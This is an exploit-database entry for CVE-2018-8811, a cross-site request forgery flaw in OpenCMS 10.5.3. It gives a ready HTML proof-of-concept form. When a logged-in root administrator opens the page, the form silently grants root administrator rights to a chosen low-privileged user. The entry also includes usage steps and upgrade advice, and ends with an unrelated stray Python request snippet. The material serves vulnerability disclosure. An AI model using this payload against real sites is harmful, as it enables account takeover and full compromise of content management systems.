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"OpenCMS 10.5.3 - Cross-Site Request Forgery"

Author

Exploit author

"Sureshbabu Narvaneni"

Platform

Exploit platform

php

Release date

Exploit published date

2018-04-02

Download file

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# Exploit Title: OpenCMS 10.5.3 Multiple Cross Site Request Forgery Vulnerabilities
Injection
# Google Dork: N/A
# Date: 02-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.opencms.org/en/
# Software Link: http://www.opencms.org/en/modules/downloads/begindownload.html?id=a7747cd0-b27b-11e7-8299-7fde8b0295e1
# Affected Version: 10.5.3
# Category: WebApps
# Tested on: Ubuntu 14.04 x86_64/Kali Linux 4.12 i686
# CVE : CVE-2018-8811
 
1. Vendor Description:
 
OpenCms from Alkacon Software is a professional, easy to use website content management system. OpenCms helps content managers worldwide to create and maintain beautiful websites fast and efficiently.
 
2. Technical Description:
 
Cross-site request forgery (CSRF) vulnerability in system/workplace/admin/accounts/user_role.jsp in OpenCMS 10.5.3 allows remote attackers to hijack the authentication of administrative users for requests that perform privilege escalation.
 
3. Proof Of Concept:
 
a) Send below crafted request to logged in user who is having Root Administrator level access.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[DomainName]/opencms/system/workplace/admin/accounts/user_role.jsp" method="POST">
      <input type="hidden" name="dialogtype" value="" />
      <input type="hidden" name="root" value="" />
      <input type="hidden" name="sortcol" value="" />
      <input type="hidden" name="preactiondone" value="" />
      <input type="hidden" name="oufqn" value="" />
      <input type="hidden" name="resource" value="" />
      <input type="hidden" name="userid" value="Replace with actual user id of low privileged user." />
      <input type="hidden" name="closelink" value="&#37;2Fopencms&#37;2Fsystem&#37;2Fworkplace&#37;2Fviews&#37;2Fadmin&#37;2Fadmin&#45;main&#46;jsp&#37;3Fpath&#37;3D&#37;2Faccounts&#37;2Forgunit&#37;2Fusers&#37;26action&#37;3Dinitial" />
      <input type="hidden" name="framename" value="" />
      <input type="hidden" name="ispopup" value="" />
      <input type="hidden" name="originalparams" value="" />
      <input type="hidden" name="message" value="" />
      <input type="hidden" name="selitems" value="RoleRootAdmins" />
      <input type="hidden" name="title" value="" />
      <input type="hidden" name="style" value="new" />
      <input type="hidden" name="page" value="" />
      <input type="hidden" name="base" value="" />
      <input type="hidden" name="path" value="&#37;2Faccounts&#37;2Forgunit&#37;2Fusers&#37;2Fedit&#37;2Frole" />
      <input type="hidden" name="action" value="listmultiaction" />
      <input type="hidden" name="searchfilter" value="" />
      <input type="hidden" name="redirect" value="" />
      <input type="hidden" name="force" value="" />
      <input type="hidden" name="formname" value="lsre&#45;form" />
      <input type="hidden" name="listaction" value="ma" />
      <input type="hidden" name="listMultiAction" value="RoleRootAdmins" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 
b) Once the logged in user opens the URL the form will get submitted with active session of root administrator and action get performed successfully.

c) By leveraging this vulnerability user can gain Root Level Administrator Access to the CMS.


4. Solution:
 
Upgrade to latest release.
http://www.opencms.org/en/home/news.html
 
5. Reference:
https://github.com/alkacon/opencms-core/issues/586
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-8811
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import requests
response = requests.get('http://127.0.0.1:8181?format=json')

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